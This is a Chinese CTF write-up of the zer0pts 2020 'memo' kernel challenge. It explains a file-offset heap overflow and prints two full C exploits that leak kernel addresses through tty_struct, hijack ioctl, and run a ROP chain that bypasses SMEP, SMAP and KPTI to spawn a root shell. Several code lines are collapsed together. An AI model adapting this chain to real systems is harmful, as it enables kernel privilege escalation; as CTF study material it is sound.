zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出

2024-02-09 16:04

本文主要是介绍zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

启动脚本

#!/bin/sh
qemu-system-x86_64 \-m 256M \-kernel ./bzImage \-initrd ./rootfs.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \-cpu kvm64,+smep,+smap \-monitor /dev/null \-nographic -enable-kvm
/ # dmesg | grep 'page table'
[    0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception	: yes
flags		: ... pti smep smap

smep,smap,kaslr,pti都开启了

问题

mod_readmod_write中,没有检查filp->f_ops+count的情况
在这里插入图片描述

利用方式

#define DEVICE_NAME "memo"
#define MAX_SIZE 0x400
memo = kmalloc(MAX_SIZE, GFP_KERNEL);

1、在驱动打开的时候,分配的memo是kmalloc-0x400的slab
2、分配tty_struct,使得与memo在同一kcache中,并且在memo下方
3、通过读memo下方的tty_struct,从而得到内核基地址(绕过kaslr)和堆相关的地址(从而获得memo的地址kernheap,布置rop)
4、将tty_struct->tty_operations指向memo的0x300处
5、将memo的0x300开始布置tty_operations,在0x300+0xC*8处布置tty_operations->ioctl,一个栈迁移指令
6、将rop布置到memo起始处(通过swapgs_restore_regs_and_return_to_usermode绕过PTI
7、ioctl(ptmx, kernheap, kernheap); kernheap为rdi

提权

exp1

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define ulong unsigned longulong user_cs, user_ss, user_sp, user_rflags;void pop_shell(void)
{char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};execve("/bin/sh", argv, envp);
}static void save_state(void)
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}int main(void)
{// 前提是可以溢出,int memo = open("/dev/memo", O_RDWR); // 申请 0x400的空间int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请 0x400 tty_structchar buf[0x400];ulong *rop;ulong kernbase, kernheap;/**** gadgets ****/ulong off_ptm_unix98_ops_kernbase = 0x6191e0;ulong off_kernheap = 0x438;// 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)ulong gad1 = 0x243b8;// 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)ulong pop_rdi = 0xe7ae8;// 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)ulong mov_rdi_rax = 0xfc8e;// 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)ulong pop_rcx = 0xfb892;ulong prepare_kernel_cred = 0x44850;ulong commit_creds = 0x44680;/*0xffffffff812009c4 <+68>:    mov    rdi,rsp0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff818060040xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]0xffffffff812009de <+94>:    push   QWORD PTR [rdi]0xffffffff812009e0 <+96>:    push   rax0xffffffff812009e1 <+97>:    xchg   ax,ax0xffffffff812009e3 <+99>:    mov    rdi,cr30xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>0xffffffff812009e8 <+104>:   mov    rax,rdi0xffffffff812009eb <+107>:   and    rdi,0x7ff*/ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;// 保存状态save_state();// 溢出,读取 tty_structlseek(memo, 0x300, SEEK_SET);read(memo, buf, 0x400);// leak kernbase and kernheap// 可以从 tty_struct 中获取两类数据,代码的基地址,堆的基地址kernbase = *(unsigned long *)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;  // 这个很明显printf("kernbase: %lx\n", kernbase);// struct tty_struct-> read_wait(list_head)->next 指向了自己// 这个地方 off_kernheap 在不同的环境下不一定,需要自己调试确认一下kernheap = *(unsigned long *)(buf + 0x100 + 0x38) - off_kernheap; // kernheap 是 /dev/memo 堆地址printf("kernheap: %lx\n", kernheap);// vtableへのポインタの書き換え*(unsigned long *)(buf + 0xc * 8) = kernbase + gad1;       // fake ioctl entry*(unsigned long *)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer // 将提取代码布置到 第一个0x400中lseek(memo, 0x300, SEEK_SET);write(memo, buf, 0x400); // overwrite ops and ioctl entry// ROP chainrop = (unsigned long *)buf;// gad1のごまかし*6*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;// init_task の cred を入手*rop++ = kernbase + pop_rdi;*rop++ = 0;*rop++ = kernbase + prepare_kernel_cred;// 入手したcredを引数にしてcommit*rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく*rop++ = 0;*rop++ = kernbase + mov_rdi_rax;*rop++ = kernbase + commit_creds;// return to usermode by swapgs_restore_regs_and_return_to_usermode*rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;*rop++ = 0;*rop++ = 0;*rop++ = (ulong)&pop_shell;*rop++ = user_cs;*rop++ = user_rflags;*rop++ = user_sp;*rop++ = user_ss;// invoke shelllseek(memo, 0x0, SEEK_SET);write(memo, buf, 0x100);// ioctl(ptmx,0xdeadbeef,0xcafebabe);// ioctl(ptmx,rip,rdx)// rip = 0xdeadbeef// rdx = 0xcafebabeioctl(ptmx, kernheap, kernheap);return 0;
}

exp2

// https://hackmd.io/@ptr-yudai/rJp1TpbBU#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>unsigned long kbase, kheap;
unsigned long ptm_unix98_ops = 0xe65900;unsigned long rop_mov_cr4_edi = 0x04b6a1;
unsigned long rop_push_r12_add_rbp_41_ebx_pop_rsp_r13 = 0x94d4e3;
unsigned long rop_pop_rdi = 0x001268;
unsigned long rop_pop_rcx = 0x04c852;
unsigned long rop_mov_rdi_rax = 0x019dcb;
unsigned long rop_bypass_kpti = 0xa00a45;
unsigned long commit_creds = 0xffffffff9127b8b0 - 0xffffffff91200000;
unsigned long prepare_kernel_cred = 0xffffffff9127bb50 - 0xffffffff91200000;unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;static void save_state()
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags):: "memory");
}static void win() {char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};puts("[+] Win!");execve("/bin/sh", argv, envp);
}int main() {unsigned long buf[0x400 / sizeof(unsigned long)];save_state();/* open drivers */int fd = open("/dev/memo", O_RDWR);if (fd < 0) {perror("/dev/memo");return 1;}int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (ptmx < 0) {perror("/dev/ptmx");return 1;}/* leak kbase & kheap */lseek(fd, 0x100, SEEK_SET);read(fd, buf, 0x400);kbase = buf[(0x300 + 0x18) / sizeof(unsigned long)] - ptm_unix98_ops;kheap = buf[(0x300 + 0x38) / sizeof(unsigned long)] - 0x38 - 0x400;printf("[+] kbase = 0x%016lx\n", kbase);printf("[+] kheap = 0x%016lx\n", kheap);/* write fake vtable, rop chain & overwrite ops */// fake tty_structbuf[(0x300 + 0x18) / sizeof(unsigned long)] = kheap + 0x100; // ops// fake tty_operationsbuf[12] = kbase + rop_push_r12_add_rbp_41_ebx_pop_rsp_r13; // ioctl// rop chainunsigned long *chain = &buf[0x100 / sizeof(unsigned long)];*chain++ = kbase + rop_pop_rdi;*chain++ = 0;*chain++ = kbase + prepare_kernel_cred;*chain++ = kbase + rop_pop_rcx;     // make rcx 0 to bypass rep*chain++ = 0;*chain++ = kbase + rop_mov_rdi_rax;*chain++ = kbase + commit_creds;    // cc(pkc(0));*chain++ = kbase + rop_bypass_kpti; // return to usermode*chain++ = 0xdeadbeef;*chain++ = 0xdeadbeef;*chain++ = (unsigned long)&win;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;// overwrite!lseek(fd, 0x100, SEEK_SET);write(fd, buf, 0x400);/* ignite! */ioctl(ptmx, 0xdeadbeef, kheap + 0x200 - 8); // -8 for pop r13return 0;
}

这篇关于zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/694681

相关文章

Java使用Thumbnailator库实现图片处理与压缩功能

《Java使用Thumbnailator库实现图片处理与压缩功能》Thumbnailator是高性能Java图像处理库,支持缩放、旋转、水印添加、裁剪及格式转换,提供易用API和性能优化,适合Web应... 目录1. 图片处理库Thumbnailator介绍2. 基本和指定大小图片缩放功能2.1 图片缩放的

全面解析Golang 中的 Gorilla CORS 中间件正确用法

《全面解析Golang中的GorillaCORS中间件正确用法》Golang中使用gorilla/mux路由器配合rs/cors中间件库可以优雅地解决这个问题,然而,很多人刚开始使用时会遇到配... 目录如何让 golang 中的 Gorilla CORS 中间件正确工作一、基础依赖二、错误用法(很多人一开

Python进行JSON和Excel文件转换处理指南

《Python进行JSON和Excel文件转换处理指南》在数据交换与系统集成中,JSON与Excel是两种极为常见的数据格式,本文将介绍如何使用Python实现将JSON转换为格式化的Excel文件,... 目录将 jsON 导入为格式化 Excel将 Excel 导出为结构化 JSON处理嵌套 JSON:

Spring Boot 中的默认异常处理机制及执行流程

《SpringBoot中的默认异常处理机制及执行流程》SpringBoot内置BasicErrorController,自动处理异常并生成HTML/JSON响应,支持自定义错误路径、配置及扩展,如... 目录Spring Boot 异常处理机制详解默认错误页面功能自动异常转换机制错误属性配置选项默认错误处理

SpringBoot 异常处理/自定义格式校验的问题实例详解

《SpringBoot异常处理/自定义格式校验的问题实例详解》文章探讨SpringBoot中自定义注解校验问题,区分参数级与类级约束触发的异常类型,建议通过@RestControllerAdvice... 目录1. 问题简要描述2. 异常触发1) 参数级别约束2) 类级别约束3. 异常处理1) 字段级别约束

Java堆转储文件之1.6G大文件处理完整指南

《Java堆转储文件之1.6G大文件处理完整指南》堆转储文件是优化、分析内存消耗的重要工具,:本文主要介绍Java堆转储文件之1.6G大文件处理的相关资料,文中通过代码介绍的非常详细,需要的朋友可... 目录前言文件为什么这么大?如何处理这个文件?分析文件内容(推荐)删除文件(如果不需要)查看错误来源如何避

使用Python构建一个高效的日志处理系统

《使用Python构建一个高效的日志处理系统》这篇文章主要为大家详细讲解了如何使用Python开发一个专业的日志分析工具,能够自动化处理、分析和可视化各类日志文件,大幅提升运维效率,需要的可以了解下... 目录环境准备工具功能概述完整代码实现代码深度解析1. 类设计与初始化2. 日志解析核心逻辑3. 文件处

Java docx4j高效处理Word文档的实战指南

《Javadocx4j高效处理Word文档的实战指南》对于需要在Java应用程序中生成、修改或处理Word文档的开发者来说,docx4j是一个强大而专业的选择,下面我们就来看看docx4j的具体使用... 目录引言一、环境准备与基础配置1.1 Maven依赖配置1.2 初始化测试类二、增强版文档操作示例2.

MyBatis-Plus通用中等、大量数据分批查询和处理方法

《MyBatis-Plus通用中等、大量数据分批查询和处理方法》文章介绍MyBatis-Plus分页查询处理,通过函数式接口与Lambda表达式实现通用逻辑,方法抽象但功能强大,建议扩展分批处理及流式... 目录函数式接口获取分页数据接口数据处理接口通用逻辑工具类使用方法简单查询自定义查询方法总结函数式接口

SpringBoot结合Docker进行容器化处理指南

《SpringBoot结合Docker进行容器化处理指南》在当今快速发展的软件工程领域,SpringBoot和Docker已经成为现代Java开发者的必备工具,本文将深入讲解如何将一个SpringBo... 目录前言一、为什么选择 Spring Bootjavascript + docker1. 快速部署与